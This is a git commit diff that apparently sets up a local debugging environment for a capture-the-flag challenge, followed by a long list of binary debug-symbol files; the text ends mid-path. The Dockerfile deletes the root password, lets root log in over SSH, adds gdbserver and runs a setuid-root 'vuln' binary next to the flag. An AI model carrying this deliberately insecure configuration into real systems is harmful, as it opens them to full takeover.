commit dc05f4908638926f508fe86e5e483480621f5119 parent 46076ce1822104fb596cca02e8ac890b8fd437e8 Author: Louis Burda <quent.burda@gmail.com> Date: Fri, 26 Apr 2024 01:16:11 +0200 Add state Diffstat:
302 files changed, 241 insertions(+), 5 deletions(-)
diff --git a/solve/.gitignore b/solve/.gitignore @@ -0,0 +1 @@ +.gdb_history diff --git a/solve/Dockerfile b/solve/Dockerfile @@ -29,6 +29,7 @@ RUN gcc -g -pie -fcf-protection -frandom-seed=0 -fno-plt -fstack-protector-all - RUN echo "7cdf302e663641c132daaae59f82ceaebd8780f37eccc7844e17ddea3c82b664 /work/vuln" | sha256sum --check FROM ubuntu:jammy-20240227@sha256:77906da86b60585ce12215807090eb327e7386c8fafb5402369e421f44eff17e + COPY --from=builder /work/ynetd-0.1.2/ynetd /ynetd COPY --from=builder /work/vuln /vuln @@ -41,7 +42,7 @@ RUN \ --mount=type=cache,target=/var/lib/apt,sharing=locked \ /usr/local/bin/repro-sources-list.sh && \ apt-get update && \ - apt-get install -y dropbear rsync openssh-client && \ + apt-get install -y dropbear rsync openssh-client gdbserver && \ rm /var/cache/ldconfig/aux-cache /var/log/apt/term.log /var/log/apt/history.log /var/log/dpkg.log /var/log/alternatives.log && \ rm -rf /etc/dropbear/dropbear_*_host_key @@ -51,7 +52,8 @@ RUN chown root /vuln && chmod 4555 /vuln COPY ./flag /flag RUN chmod 600 /flag RUN useradd -d /home/ctf/ -m -s /bin/bash ctf && passwd -d ctf +RUN passwd -d root WORKDIR /home/ctf -CMD ["dropbear", "-FBREkwp", "1024"] -\ No newline at end of file +CMD ["dropbear", "-FBREkp", "1024"] diff --git a/solve/debug/.build-id/01/451f533a914be9b82dfca722ae74820b8f9d83.debug b/solve/debug/.build-id/01/451f533a914be9b82dfca722ae74820b8f9d83.debug Binary files differ. diff --git a/solve/debug/.build-id/01/4bdf7ca147b53f82c6a168d8704dd3dbe3d4a4.debug b/solve/debug/.build-id/01/4bdf7ca147b53f82c6a168d8704dd3dbe3d4a4.debug Binary files differ. diff --git a/solve/debug/.build-id/01/bff15b2fea6bec800bdd01463de92d746113d4.debug b/solve/debug/.build-id/01/bff15b2fea6bec800bdd01463de92d746113d4.debug Binary files differ. diff --git a/solve/debug/.build-id/01/fe2014ba94349f32bc6f9703389b20c2cfd014.debug b/solve/debug/.build-id/01/fe2014ba94349f32bc6f9703389b20c2cfd014.debug Binary files differ. diff --git a/solve/debug/.build-id/05/5ddf681e421390836dd8a82eaea2a7e2d6f9ca.debug b/solve/debug/.build-id/05/5ddf681e421390836dd8a82eaea2a7e2d6f9ca.debug Binary files differ. diff --git a/solve/debug/.build-id/08/35871f1fd10a5d5ccbb241e39b193a11a52483.debug b/solve/debug/.build-id/08/35871f1fd10a5d5ccbb241e39b193a11a52483.debug Binary files differ. diff --git a/solve/debug/.build-id/09/174aea8b52189c558ae5235f27fd325fbddf2c.debug b/solve/debug/.build-id/09/174aea8b52189c558ae5235f27fd325fbddf2c.debug Binary files differ. diff --git a/solve/debug/.build-id/09/d8a655f418cd798db18dc1b8bf89072cc3cb70.debug b/solve/debug/.build-id/09/d8a655f418cd798db18dc1b8bf89072cc3cb70.debug Binary files differ. diff --git a/solve/debug/.build-id/0a/fd54399b4201d5daebb69f2c40793607e563f0.debug b/solve/debug/.build-id/0a/fd54399b4201d5daebb69f2c40793607e563f0.debug Binary files differ. diff --git a/solve/debug/.build-id/0b/c751e23a342f007f71ff6a4f34ee00645b9f22.debug b/solve/debug/.build-id/0b/c751e23a342f007f71ff6a4f34ee00645b9f22.debug Binary files differ. diff --git a/solve/debug/.build-id/0d/b7d4543c8f620a1289597cfb103d629f05dfa7.debug b/solve/debug/.build-id/0d/b7d4543c8f620a1289597cfb103d629f05dfa7.debug Binary files differ. diff --git a/solve/debug/.build-id/0e/5f280078cd13184bf85e1b19c0939642294fc9.debug b/solve/debug/.build-id/0e/5f280078cd13184bf85e1b19c0939642294fc9.debug Binary files differ. diff --git a/solve/debug/.build-id/0e/7d0a2d699ac020067793158ebd9d15d15230a6.debug b/solve/debug/.build-id/0e/7d0a2d699ac020067793158ebd9d15d15230a6.debug Binary files differ. diff --git a/solve/debug/.build-id/0e/db16d424caa6d22574c336cc78fa1acb2c407a.debug b/solve/debug/.build-id/0e/db16d424caa6d22574c336cc78fa1acb2c407a.debug Binary files differ. diff --git a/solve/debug/.build-id/0e/e2bb40e198c273770e2b690654076c9400cc04.debug b/solve/debug/.build-id/0e/e2bb40e198c273770e2b690654076c9400cc04.debug Binary files differ. diff --git a/solve/debug/.build-id/10/79811c1fdbccbef945de18367cd72d2632f036.debug b/solve/debug/.build-id/10/79811c1fdbccbef945de18367cd72d2632f036.debug Binary files differ. diff --git a/solve/debug/.build-id/11/afe3ea13902e6b4a8f2d0d89821c8cfbab45c0.debug b/solve/debug/.build-id/11/afe3ea13902e6b4a8f2d0d89821c8cfbab45c0.debug Binary files differ. diff --git a/solve/debug/.build-id/12/6463c98f734b1b76f8319ad67a93ac8ae7bf37.debug b/solve/debug/.build-id/12/6463c98f734b1b76f8319ad67a93ac8ae7bf37.debug Binary files differ. diff --git a/solve/debug/.build-id/13/ad700d02d329669ea659d95cddcee8ae1d7fe8.debug b/solve/debug/.build-id/13/ad700d02d329669ea659d95cddcee8ae1d7fe8.debug Binary files differ. diff --git a/solve/debug/.build-id/15/85c43e137c490f88467e1e0479635017cdcb03.debug b/solve/debug/.build-id/15/85c43e137c490f88467e1e0479635017cdcb03.debug Binary files differ. diff --git a/solve/debug/.build-id/15/921ea631d9f36502d20459c43e5c85b7d6ab76.debug b/solve/debug/.build-id/15/921ea631d9f36502d20459c43e5c85b7d6ab76.debug Binary files differ. diff --git a/solve/debug/.build-id/15/a50e1c12ad5b1732b586fd70b6bd12a22e4a94.debug b/solve/debug/.build-id/15/a50e1c12ad5b1732b586fd70b6bd12a22e4a94.debug Binary files differ. diff --git a/solve/debug/.build-id/15/b3131c310b571861f40c36971f7af845c41b13.debug b/solve/debug/.build-id/15/b3131c310b571861f40c36971f7af845c41b13.debug Binary files differ. diff --git a/solve/debug/.build-id/16/9adc763ec2e0e9cf9caed2ecb98ebb5953750a.debug b/solve/debug/.build-id/16/9adc763ec2e0e9cf9caed2ecb98ebb5953750a.debug Binary files differ. diff --git a/solve/debug/.build-id/16/e0484fb154d2ad239821e4b8ce73691bbe9356.debug b/solve/debug/.build-id/16/e0484fb154d2ad239821e4b8ce73691bbe9356.debug Binary files differ. diff --git a/solve/debug/.build-id/18/3f27403dda7c236fe2b695debfda35028aed76.debug b/solve/debug/.build-id/18/3f27403dda7c236fe2b695debfda35028aed76.debug Binary files differ. diff --git a/solve/debug/.build-id/18/a08f7c04a23a9bd9eb0fee58e9766fda696588.debug b/solve/debug/.build-id/18/a08f7c04a23a9bd9eb0fee58e9766fda696588.debug Binary files differ. diff --git a/solve/debug/.build-id/19/89e8e0f6dc705823065fce29f50fc5747f34de.debug b/solve/debug/.build-id/19/89e8e0f6dc705823065fce29f50fc5747f34de.debug Binary files differ. diff --git a/solve/debug/.build-id/1a/8d79671c1d6bbe3b8f64b46897e64ee8d2d324.debug b/solve/debug/.build-id/1a/8d79671c1d6bbe3b8f64b46897e64ee8d2d324.debug Binary files differ. diff --git a/solve/debug/.build-id/1d/d65c0352de730cd3117bc5272bffa0e483c440.debug b/solve/debug/.build-id/1d/d65c0352de730cd3117bc5272bffa0e483c440.debug Binary files differ. diff --git a/solve/debug/.build-id/20/3ab54c43ff0e679e5802e80d33f7e57117ec53.debug b/solve/debug/.build-id/20/3ab54c43ff0e679e5802e80d33f7e57117ec53.debug Binary files differ. diff --git a/solve/debug/.build-id/20/b6a3298b144ea7642ed85845f984bfcabd6aae.debug b/solve/debug/.build-id/20/b6a3298b144ea7642ed85845f984bfcabd6aae.debug Binary files differ. diff --git a/solve/debug/.build-id/21/0a2fce5c53f933b20fd27887cd4871d2c258b7.debug b/solve/debug/.build-id/21/0a2fce5c53f933b20fd27887cd4871d2c258b7.debug Binary files differ. diff --git a/solve/debug/.build-id/22/325b6da4ff7e41693d60cb839ad8492328b98f.debug b/solve/debug/.build-id/22/325b6da4ff7e41693d60cb839ad8492328b98f.debug Binary files differ. diff --git a/solve/debug/.build-id/23/7243e5ba2d7a3411756c6e42df804208d3f22a.debug b/solve/debug/.build-id/23/7243e5ba2d7a3411756c6e42df804208d3f22a.debug Binary files differ. diff --git a/solve/debug/.build-id/23/a3d85860efbeaa5276249214c6a3cda1639a28.debug b/solve/debug/.build-id/23/a3d85860efbeaa5276249214c6a3cda1639a28.debug Binary files differ. diff --git a/solve/debug/.build-id/26/6400f44b5e1c59a36cb13e2e81462ebae125e1.debug b/solve/debug/.build-id/26/6400f44b5e1c59a36cb13e2e81462ebae125e1.debug Binary files differ. diff --git a/solve/debug/.build-id/26/8b140c1b52896a717873d4d0d3fd41ad71985e.debug b/solve/debug/.build-id/26/8b140c1b52896a717873d4d0d3fd41ad71985e.debug Binary files differ. diff --git a/solve/debug/.build-id/26/ddce498bd64123c0265d8879362c27d78a2ee4.debug b/solve/debug/.build-id/26/ddce498bd64123c0265d8879362c27d78a2ee4.debug Binary files differ. diff --git a/solve/debug/.build-id/28/0e3dee600c96cb427e2b359cb701c475e8b531.debug b/solve/debug/.build-id/28/0e3dee600c96cb427e2b359cb701c475e8b531.debug Binary files differ. diff --git a/solve/debug/.build-id/28/7ca2233e0c8343089d3c562bb4a8a9ff3f3b7b.debug b/solve/debug/.build-id/28/7ca2233e0c8343089d3c562bb4a8a9ff3f3b7b.debug Binary files differ. diff --git a/solve/debug/.build-id/29/f2bb3e4dfbf332e3d976dbc2b484358285838d.debug b/solve/debug/.build-id/29/f2bb3e4dfbf332e3d976dbc2b484358285838d.debug Binary files differ. diff --git a/solve/debug/.build-id/2a/1ef534e4410fec2a605eae8e8a8d801c00e632.debug b/solve/debug/.build-id/2a/1ef534e4410fec2a605eae8e8a8d801c00e632.debug Binary files differ. diff --git a/solve/debug/.build-id/2a/ac2e4e8f1ac5a2045843c71e216bf8218487e1.debug b/solve/debug/.build-id/2a/ac2e4e8f1ac5a2045843c71e216bf8218487e1.debug Binary files differ. diff --git a/solve/debug/.build-id/2b/bfef97f74b69c0fa0a0e3e285313f66d2bba76.debug b/solve/debug/.build-id/2b/bfef97f74b69c0fa0a0e3e285313f66d2bba76.debug Binary files differ. diff --git a/solve/debug/.build-id/2c/99e695a75ebff1bf933603b2bf0173e3e60232.debug b/solve/debug/.build-id/2c/99e695a75ebff1bf933603b2bf0173e3e60232.debug Binary files differ. diff --git a/solve/debug/.build-id/2d/750bfd9c10f6acc211a5b1c02584d2723d5245.debug b/solve/debug/.build-id/2d/750bfd9c10f6acc211a5b1c02584d2723d5245.debug Binary files differ. diff --git a/solve/debug/.build-id/2e/2586acb6517a1e03832f3fb260d19117b01042.debug b/solve/debug/.build-id/2e/2586acb6517a1e03832f3fb260d19117b01042.debug Binary files differ. diff --git a/solve/debug/.build-id/2e/28085764f268d4f364cbb2c19b30e66c879f37.debug b/solve/debug/.build-id/2e/28085764f268d4f364cbb2c19b30e66c879f37.debug Binary files differ. diff --git a/solve/debug/.build-id/2f/3fa9ac9c1614b3a27b04b4aafddb305ce02331.debug b/solve/debug/.build-id/2f/3fa9ac9c1614b3a27b04b4aafddb305ce02331.debug Binary files differ. diff --git a/solve/debug/.build-id/30/7e6a5f671d6eb9b66e4a99f36fdca4671bb438.debug b/solve/debug/.build-id/30/7e6a5f671d6eb9b66e4a99f36fdca4671bb438.debug Binary files differ. diff --git a/solve/debug/.build-id/30/e70940aef4aff1c5e525e0d12af671234a1eab.debug b/solve/debug/.build-id/30/e70940aef4aff1c5e525e0d12af671234a1eab.debug Binary files differ. diff --git a/solve/debug/.build-id/31/3907fddcf11f28747f78c60063fc7d8cd7bafb.debug b/solve/debug/.build-id/31/3907fddcf11f28747f78c60063fc7d8cd7bafb.debug Binary files differ. diff --git a/solve/debug/.build-id/31/5866d63509bc273f158ea57a4ed0cc0760d6dc.debug b/solve/debug/.build-id/31/5866d63509bc273f158ea57a4ed0cc0760d6dc.debug Binary files differ. diff --git a/solve/debug/.build-id/32/09327487e17273d92edc50de8504aa54fe4a21.debug b/solve/debug/.build-id/32/09327487e17273d92edc50de8504aa54fe4a21.debug Binary files differ. diff --git a/solve/debug/.build-id/32/30344b99547700aaf23330cef7b36a05677b07.debug b/solve/debug/.build-id/32/30344b99547700aaf23330cef7b36a05677b07.debug Binary files differ. diff --git a/solve/debug/.build-id/34/2973c8d5e681114cc0f869609319d568f91e09.debug b/solve/debug/.build-id/34/2973c8d5e681114cc0f869609319d568f91e09.debug Binary files differ. diff --git a/solve/debug/.build-id/34/2dbd46eb0ee6465f2d2440af359758c0e649bf.debug b/solve/debug/.build-id/34/2dbd46eb0ee6465f2d2440af359758c0e649bf.debug Binary files differ. diff --git a/solve/debug/.build-id/34/6536fbf9e3b090b85f8545f6555d66df0b3d33.debug b/solve/debug/.build-id/34/6536fbf9e3b090b85f8545f6555d66df0b3d33.debug Binary files differ. diff --git a/solve/debug/.build-id/35/4217384d5dad8ee7dea02ffc7b4a8c6b1428ee.debug b/solve/debug/.build-id/35/4217384d5dad8ee7dea02ffc7b4a8c6b1428ee.debug Binary files differ. diff --git a/solve/debug/.build-id/37/20e7c1ec42eb040c36a8bba17fa72a5c946f03.debug b/solve/debug/.build-id/37/20e7c1ec42eb040c36a8bba17fa72a5c946f03.debug Binary files differ. diff --git a/solve/debug/.build-id/39/846be47a0bf336c76d40ccb8d010ebe7ca9cac.debug b/solve/debug/.build-id/39/846be47a0bf336c76d40ccb8d010ebe7ca9cac.debug Binary files differ. diff --git a/solve/debug/.build-id/3b/067ee1cd0225e43d70394227a9dd8ebebeafe8.debug b/solve/debug/.build-id/3b/067ee1cd0225e43d70394227a9dd8ebebeafe8.debug Binary files differ. diff --git a/solve/debug/.build-id/3b/fac52548e0c2e3d4b83925323b6d7caa4c6bc8.debug b/solve/debug/.build-id/3b/fac52548e0c2e3d4b83925323b6d7caa4c6bc8.debug Binary files differ. diff --git a/solve/debug/.build-id/3c/288cc52777db86d0589f2b5dbfb75cdffd078d.debug b/solve/debug/.build-id/3c/288cc52777db86d0589f2b5dbfb75cdffd078d.debug Binary files differ. diff --git a/solve/debug/.build-id/3c/8250a039c997df55a5a6f06aa3aef67505b8d0.debug b/solve/debug/.build-id/3c/8250a039c997df55a5a6f06aa3aef67505b8d0.debug Binary files differ. diff --git a/solve/debug/.build-id/3c/b918e90f292fa05f9c1f72d7cbd02c059f7793.debug b/solve/debug/.build-id/3c/b918e90f292fa05f9c1f72d7cbd02c059f7793.debug Binary files differ. diff --git a/solve/debug/.build-id/3c/cfd60d3113509da08d4221c5df1bf065fda751.debug b/solve/debug/.build-id/3c/cfd60d3113509da08d4221c5df1bf065fda751.debug Binary files differ. diff --git a/solve/debug/.build-id/40/0af23b957d2cb3005c4868ae3b9f9f4dcd0ed4.debug b/solve/debug/.build-id/40/0af23b957d2cb3005c4868ae3b9f9f4dcd0ed4.debug Binary files differ. diff --git a/solve/debug/.build-id/40/4efe13bea45ed51f0dc4cc54379e04e7e72c49.debug b/solve/debug/.build-id/40/4efe13bea45ed51f0dc4cc54379e04e7e72c49.debug Binary files differ. diff --git a/solve/debug/.build-id/41/003a7e212e209d65022e0bb4e887c85000f4d3.debug b/solve/debug/.build-id/41/003a7e212e209d65022e0bb4e887c85000f4d3.debug Binary files differ. diff --git a/solve/debug/.build-id/41/77015ccbe670995ed128899633b71e6ca397ef.debug b/solve/debug/.build-id/41/77015ccbe670995ed128899633b71e6ca397ef.debug Binary files differ. diff --git a/solve/debug/.build-id/42/72877b19aee26d59b0ec87c202848c314fd07f.debug b/solve/debug/.build-id/42/72877b19aee26d59b0ec87c202848c314fd07f.debug Binary files differ. diff --git a/solve/debug/.build-id/44/dc9f2b56c18ee34d4060473a9383358b2b5d74.debug b/solve/debug/.build-id/44/dc9f2b56c18ee34d4060473a9383358b2b5d74.debug Binary files differ. diff --git a/solve/debug/.build-id/45/3616f60f6fc8e1b95fa5f6f22020672af6d9a9.debug b/solve/debug/.build-id/45/3616f60f6fc8e1b95fa5f6f22020672af6d9a9.debug Binary files differ. diff --git a/solve/debug/.build-id/45/64ef8b1cab2d13836201f1c4dbe1e0b7e69519.debug b/solve/debug/.build-id/45/64ef8b1cab2d13836201f1c4dbe1e0b7e69519.debug Binary files differ. diff --git a/solve/debug/.build-id/45/68192b3e2e2f81d64c8c05cd73cccf3c47d66e.debug b/solve/debug/.build-id/45/68192b3e2e2f81d64c8c05cd73cccf3c47d66e.debug Binary files differ. diff --git a/solve/debug/.build-id/45/b3c0df0d4ef0d04fc4ef28f2c2d911e9552c30.debug b/solve/debug/.build-id/45/b3c0df0d4ef0d04fc4ef28f2c2d911e9552c30.debug Binary files differ. diff --git a/solve/debug/.build-id/45/bdd325ab254bae725406d7c8782c3bb072bc6d.debug b/solve/debug/.build-id/45/bdd325ab254bae725406d7c8782c3bb072bc6d.debug Binary files differ. diff --git a/solve/debug/.build-id/46/a0498e16cbe15e5fba45e36901d46a0c5a51b7.debug b/solve/debug/.build-id/46/a0498e16cbe15e5fba45e36901d46a0c5a51b7.debug Binary files differ. diff --git a/solve/debug/.build-id/47/0bccefc3995cebeed5090dc4df6a7db9b21f8e.debug b/solve/debug/.build-id/47/0bccefc3995cebeed5090dc4df6a7db9b21f8e.debug Binary files differ. diff --git a/solve/debug/.build-id/47/201c96512b1acb97d24139e0b9feffcbc410f2.debug b/solve/debug/.build-id/47/201c96512b1acb97d24139e0b9feffcbc410f2.debug Binary files differ. diff --git a/solve/debug/.build-id/47/4d31c05a27447c820cd6825b3e1407d139f4a2.debug b/solve/debug/.build-id/47/4d31c05a27447c820cd6825b3e1407d139f4a2.debug Binary files differ. diff --git a/solve/debug/.build-id/49/482ffa60fce44217665dc39cc45ced663f3088.debug b/solve/debug/.build-id/49/482ffa60fce44217665dc39cc45ced663f3088.debug Binary files differ. diff --git a/solve/debug/.build-id/49/9c53a55a75ef0883b00bbda0794180faa415aa.debug b/solve/debug/.build-id/49/9c53a55a75ef0883b00bbda0794180faa415aa.debug Binary files differ. diff --git a/solve/debug/.build-id/49/e9b0d44e855a3ecae836cdbc13815e2df3e4d3.debug b/solve/debug/.build-id/49/e9b0d44e855a3ecae836cdbc13815e2df3e4d3.debug Binary files differ. diff --git a/solve/debug/.build-id/4a/d7802947b1b3cc5daa86801133edecf4a56963.debug b/solve/debug/.build-id/4a/d7802947b1b3cc5daa86801133edecf4a56963.debug Binary files differ. diff --git a/solve/debug/.build-id/4b/a1bdde1a81dd1c1694effd72676dee2d67293b.debug b/solve/debug/.build-id/4b/a1bdde1a81dd1c1694effd72676dee2d67293b.debug Binary files differ. diff --git a/solve/debug/.build-id/4d/24cdef7acba5a3163b598372bf6ec78f087080.debug b/solve/debug/.build-id/4d/24cdef7acba5a3163b598372bf6ec78f087080.debug Binary files differ. diff --git a/solve/debug/.build-id/4e/635f2fe3f4063f273fa907bbefc6db7d4fe3ce.debug b/solve/debug/.build-id/4e/635f2fe3f4063f273fa907bbefc6db7d4fe3ce.debug Binary files differ. diff --git a/solve/debug/.build-id/4f/b8bc90cbe050fe9d4d91df47308871bd7d773a.debug b/solve/debug/.build-id/4f/b8bc90cbe050fe9d4d91df47308871bd7d773a.debug Binary files differ. diff --git a/solve/debug/.build-id/4f/d80717c8153ddc441c076a576fd7097fd1d8d3.debug b/solve/debug/.build-id/4f/d80717c8153ddc441c076a576fd7097fd1d8d3.debug Binary files differ. diff --git a/solve/debug/.build-id/51/0989c08fc77f2d236d7884b6b0fd3fbd2b382f.debug b/solve/debug/.build-id/51/0989c08fc77f2d236d7884b6b0fd3fbd2b382f.debug Binary files differ. diff --git a/solve/debug/.build-id/53/a99b2bc02db172db976b38c8c0bf5d53b03517.debug b/solve/debug/.build-id/53/a99b2bc02db172db976b38c8c0bf5d53b03517.debug Binary files differ. diff --git a/solve/debug/.build-id/53/baaaedc586e3213823783ab4b1078ec5a61f97.debug b/solve/debug/.build-id/53/baaaedc586e3213823783ab4b1078ec5a61f97.debug Binary files differ. diff --git a/solve/debug/.build-id/54/24506e12522b9b83b14b0c24cfcee54e626a8b.debug b/solve/debug/.build-id/54/24506e12522b9b83b14b0c24cfcee54e626a8b.debug Binary files differ. diff --git a/solve/debug/.build-id/54/9810ee36977c63939e528aff68786cfbd23cbb.debug b/solve/debug/.build-id/54/9810ee36977c63939e528aff68786cfbd23cbb.debug Binary files differ. diff --git a/solve/debug/.build-id/55/6b770bb6b6cdfc2df9c4b54de844294e71e44c.debug b/solve/debug/.build-id/55/6b770bb6b6cdfc2df9c4b54de844294e71e44c.debug Binary files differ. diff --git a/solve/debug/.build-id/55/8369df8533f59f0085bc84e68c5689ba11330f.debug b/solve/debug/.build-id/55/8369df8533f59f0085bc84e68c5689ba11330f.debug Binary files differ. diff --git a/solve/debug/.build-id/56/c0ddce1e9ce1ed046e80191012393086e44ed9.debug b/solve/debug/.build-id/56/c0ddce1e9ce1ed046e80191012393086e44ed9.debug Binary files differ. diff --git a/solve/debug/.build-id/58/5f49b6e0da61c043b52b7e21eda0dd22b6ece1.debug b/solve/debug/.build-id/58/5f49b6e0da61c043b52b7e21eda0dd22b6ece1.debug Binary files differ. diff --git a/solve/debug/.build-id/58/d3ec929d593b78cbf2d392a4e75edbc11edcba.debug b/solve/debug/.build-id/58/d3ec929d593b78cbf2d392a4e75edbc11edcba.debug Binary files differ. diff --git a/solve/debug/.build-id/59/7162e2151674cd6dddf6b000347a0548ad22e4.debug b/solve/debug/.build-id/59/7162e2151674cd6dddf6b000347a0548ad22e4.debug Binary files differ. diff --git a/solve/debug/.build-id/5a/fdee9dee75861ec6ce97a90da2fe1373c66624.debug b/solve/debug/.build-id/5a/fdee9dee75861ec6ce97a90da2fe1373c66624.debug Binary files differ. diff --git a/solve/debug/.build-id/5b/4ff177967d9a012ab8bc09fe314d9a9736b743.debug b/solve/debug/.build-id/5b/4ff177967d9a012ab8bc09fe314d9a9736b743.debug Binary files differ. diff --git a/solve/debug/.build-id/5c/8ebf9534ba4cb634d6f9c70f1358e3e44977a2.debug b/solve/debug/.build-id/5c/8ebf9534ba4cb634d6f9c70f1358e3e44977a2.debug Binary files differ. diff --git a/solve/debug/.build-id/5c/b35285e7210a3b79fc36d0020c926097524673.debug b/solve/debug/.build-id/5c/b35285e7210a3b79fc36d0020c926097524673.debug Binary files differ. diff --git a/solve/debug/.build-id/5d/037199b67dc1d111d94d9ec6e88a955cd88124.debug b/solve/debug/.build-id/5d/037199b67dc1d111d94d9ec6e88a955cd88124.debug Binary files differ. diff --git a/solve/debug/.build-id/5f/f5905f0b8a9dfa3b00c5f26a79b53579c24512.debug b/solve/debug/.build-id/5f/f5905f0b8a9dfa3b00c5f26a79b53579c24512.debug Binary files differ. diff --git a/solve/debug/.build-id/60/7fc3187e30d3ec8b635d6a5c610e692f3ae4c6.debug b/solve/debug/.build-id/60/7fc3187e30d3ec8b635d6a5c610e692f3ae4c6.debug Binary files differ. diff --git a/solve/debug/.build-id/60/a8d94e242d2eb8967604369b401f89b3336042.debug b/solve/debug/.build-id/60/a8d94e242d2eb8967604369b401f89b3336042.debug Binary files differ. diff --git a/solve/debug/.build-id/61/1ce3b692cecf0f60d2e7f8c21a36fd5ee7bc6f.debug b/solve/debug/.build-id/61/1ce3b692cecf0f60d2e7f8c21a36fd5ee7bc6f.debug Binary files differ. diff --git a/solve/debug/.build-id/61/f5c16776370831888444692716ee3a47c7efc2.debug b/solve/debug/.build-id/61/f5c16776370831888444692716ee3a47c7efc2.debug Binary files differ. diff --git a/solve/debug/.build-id/62/ad06ff75d777db2c20b565bffa3dfa45398eb3.debug b/solve/debug/.build-id/62/ad06ff75d777db2c20b565bffa3dfa45398eb3.debug Binary files differ. diff --git a/solve/debug/.build-id/62/bbc121bf524a76725166b5614f6bbd68f15df7.debug b/solve/debug/.build-id/62/bbc121bf524a76725166b5614f6bbd68f15df7.debug Binary files differ. diff --git a/solve/debug/.build-id/62/e941499d5f5709dd53fc7339651ac9424e43aa.debug b/solve/debug/.build-id/62/e941499d5f5709dd53fc7339651ac9424e43aa.debug Binary files differ. diff --git a/solve/debug/.build-id/63/ad6ca0d986eab76386e395a3acdfa42c7c30dd.debug b/solve/debug/.build-id/63/ad6ca0d986eab76386e395a3acdfa42c7c30dd.debug Binary files differ. diff --git a/solve/debug/.build-id/67/113453de534e1aa5a70a11c332edd78ffc22cd.debug b/solve/debug/.build-id/67/113453de534e1aa5a70a11c332edd78ffc22cd.debug Binary files differ. diff --git a/solve/debug/.build-id/67/bc8db8a5cef0c43d9af2313966c94a62500b7e.debug b/solve/debug/.build-id/67/bc8db8a5cef0c43d9af2313966c94a62500b7e.debug Binary files differ. diff --git a/solve/debug/.build-id/6b/97dc70467440544d500b0a3fd5777aa58df7db.debug b/solve/debug/.build-id/6b/97dc70467440544d500b0a3fd5777aa58df7db.debug Binary files differ. diff --git a/solve/debug/.build-id/6b/a6ecc4933ff481e0600971d391da07db2a8531.debug b/solve/debug/.build-id/6b/a6ecc4933ff481e0600971d391da07db2a8531.debug Binary files differ. diff --git a/solve/debug/.build-id/6c/26351963d4e85698b335e344f68e3d4d0794b7.debug b/solve/debug/.build-id/6c/26351963d4e85698b335e344f68e3d4d0794b7.debug Binary files differ. diff --git a/solve/debug/.build-id/6d/5261cd4a231db7f0f7fb75d61d18bd8dba1738.debug b/solve/debug/.build-id/6d/5261cd4a231db7f0f7fb75d61d18bd8dba1738.debug Binary files differ. diff --git a/solve/debug/.build-id/6d/c78a8f9853d3bada1fda26ed3c0f9e52794d65.debug b/solve/debug/.build-id/6d/c78a8f9853d3bada1fda26ed3c0f9e52794d65.debug Binary files differ. diff --git a/solve/debug/.build-id/6d/ffa2a8cfbc9e267a38d22a165d988fc04f7adc.debug b/solve/debug/.build-id/6d/ffa2a8cfbc9e267a38d22a165d988fc04f7adc.debug Binary files differ. diff --git a/solve/debug/.build-id/6f/44ffccd4f824516f7e7e3793210237fcc810af.debug b/solve/debug/.build-id/6f/44ffccd4f824516f7e7e3793210237fcc810af.debug Binary files differ. diff --git a/solve/debug/.build-id/70/a57450a5f7af3544e5f135c95ac1dd354d8756.debug b/solve/debug/.build-id/70/a57450a5f7af3544e5f135c95ac1dd354d8756.debug Binary files differ. diff --git a/solve/debug/.build-id/71/d42ddbca88dc9eeff17330b285656e913bb683.debug b/solve/debug/.build-id/71/d42ddbca88dc9eeff17330b285656e913bb683.debug Binary files differ. diff --git a/solve/debug/.build-id/72/6a016576b4cafe8993b93d7f52f8a24c5525ed.debug b/solve/debug/.build-id/72/6a016576b4cafe8993b93d7f52f8a24c5525ed.debug Binary files differ. diff --git a/solve/debug/.build-id/72/9444fe6fbf0392290afb5e653310d69c992a30.debug b/solve/debug/.build-id/72/9444fe6fbf0392290afb5e653310d69c992a30.debug Binary files differ. diff --git a/solve/debug/.build-id/73/0a3c3ab8665dfcf37707c7c12036788f55ae25.debug b/solve/debug/.build-id/73/0a3c3ab8665dfcf37707c7c12036788f55ae25.debug Binary files differ. diff --git a/solve/debug/.build-id/73/596f751bfeba01906a6159ba2e2243467034ee.debug b/solve/debug/.build-id/73/596f751bfeba01906a6159ba2e2243467034ee.debug Binary files differ. diff --git a/solve/debug/.build-id/73/5afab55ce2358eb268285b2d7bb1c3463e4269.debug b/solve/debug/.build-id/73/5afab55ce2358eb268285b2d7bb1c3463e4269.debug Binary files differ. diff --git a/solve/debug/.build-id/74/7e51142f08663e1fc81c82c4e9695a38d32785.debug b/solve/debug/.build-id/74/7e51142f08663e1fc81c82c4e9695a38d32785.debug Binary files differ. diff --git a/solve/debug/.build-id/75/3b49ec1d4490f55912b84af0952a1b30051fba.debug b/solve/debug/.build-id/75/3b49ec1d4490f55912b84af0952a1b30051fba.debug Binary files differ. diff --git a/solve/debug/.build-id/75/75f6ccfa2f1b30a33f7c3e5c29b5916adceaaf.debug b/solve/debug/.build-id/75/75f6ccfa2f1b30a33f7c3e5c29b5916adceaaf.debug Binary files differ. diff --git a/solve/debug/.build-id/76/36f0e59c0d02c413daedc22f13b888386910b8.debug b/solve/debug/.build-id/76/36f0e59c0d02c413daedc22f13b888386910b8.debug Binary files differ. diff --git a/solve/debug/.build-id/77/b31f70b6e2b078a7aa3aec6c64078728938ce5.debug b/solve/debug/.build-id/77/b31f70b6e2b078a7aa3aec6c64078728938ce5.debug Binary files differ. diff --git a/solve/debug/.build-id/78/f1e86ac8fa03f37068cdec6f8da4aea04710ad.debug b/solve/debug/.build-id/78/f1e86ac8fa03f37068cdec6f8da4aea04710ad.debug Binary files differ. diff --git a/solve/debug/.build-id/78/ff59187fc39cd7edb638e07731eb0304a4c86d.debug b/solve/debug/.build-id/78/ff59187fc39cd7edb638e07731eb0304a4c86d.debug Binary files differ. diff --git a/solve/debug/.build-id/79/0b200dbe01c356b039783da3218fed341ffbd8.debug b/solve/debug/.build-id/79/0b200dbe01c356b039783da3218fed341ffbd8.debug Binary files differ. diff --git a/solve/debug/.build-id/79/6738845f22f1df338fe238f3c0a743b3075f60.debug b/solve/debug/.build-id/79/6738845f22f1df338fe238f3c0a743b3075f60.debug Binary files differ. diff --git a/solve/debug/.build-id/79/a7e0e9c873d710757cdab6615b67df4f00ac16.debug b/solve/debug/.build-id/79/a7e0e9c873d710757cdab6615b67df4f00ac16.debug Binary files differ. diff --git a/solve/debug/.build-id/79/c819cac8afd4bb99de72e24e5342446f7a3ad1.debug b/solve/debug/.build-id/79/c819cac8afd4bb99de72e24e5342446f7a3ad1.debug Binary files differ. diff --git a/solve/debug/.build-id/7a/0f41cf04999e44ec3629ed086e4a8dc611243c.debug 